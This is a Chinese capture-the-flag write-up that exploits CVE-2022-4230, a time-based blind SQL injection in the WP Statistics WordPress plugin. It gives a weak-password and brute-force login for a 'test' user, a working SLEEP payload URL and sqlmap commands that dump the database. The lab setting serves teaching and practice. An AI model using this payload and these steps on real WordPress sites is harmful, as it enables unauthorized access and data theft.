1.开启环境
2.信息收集,漏洞复现
进入后可以进行目录扫描这里我们用御剑
我们这里找到3个路径一个个打开
第一个我们打开后发现一个路径肯定有用
第二个打开发现有一个登录的页面
第三个留着
这里我们知道有一个用户为test
我们可以通过
(1)尝试弱口令登录,密码填写test
(2)抓包,然后尝试bp爆破密码
(3)使用wpscan暴力破解test用户对应的密码
通过上述方式都可以知道test用户对应的密码就是test
可以看到wordpress安装了wp statistics(wp 统计)插件,并且版本在13.2.9以内,在cve-2022-4230的影响范围内。漏洞利用的条件、payload和演示如下
以允许查看WP统计数据的用户身份登录,并通过https://example.com/wp-admin/admin-ajax.php?action=rest-nonce获得一个随机数nonce,并在下面的URL中使用,效果为页将延迟5s后返回:
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
用随机数测试延迟,替换wpnonce=NONCE为上面获取的随机数wpnonce=7d73cb83f4
发现延迟5秒,存在sql注入。
返回了一个数据,这里向search_engine中传入任何值,回显的数据都是相同的,说明这里只能使用时间盲注 。
但当修改nonce时,会显示cookie检查失败。猜测这里的机制应该是用户先向server获取一个一定时间内有效的nonce,之后携带该nonce访问指定的路径,若与server中的nonce相同则表示合法访问,返回数据;若不相同则返回cookie检查失败。
这里知道是时间盲注后接下来的事情就可以交给sqlmap了,但需要注意的是我们需要先通过bp将请求包截取下来保存到本地,然后交给sqlmap来跑,这是因为该漏洞的利用条件是必须由具备查看wp统计数据的用户所发起的请求才可以,若想查看wp统计数据则必须先登录后台。
接下来的sqlmap命令如下:
-爆库名:
sqlmay -r test.txt --dbs --batch
-爆表名:
sqlmay -r test.txt -D wordpress --tables --batch(这里就能看到flag这张表)
-爆字段名:
sqlmay -r test.txt -D wordpress -T flag --columns --batch(能够看到flag表中的flag字段)
-爆数据:
sqlmay -r test.txt -D wordpress -T flag -C flag --dump --batch(出结果后就可以获得flag)
在这里我就不展示过程截图了,因为时间盲注即是使用自动化攻击工具,它的枚举时间也是挺长的。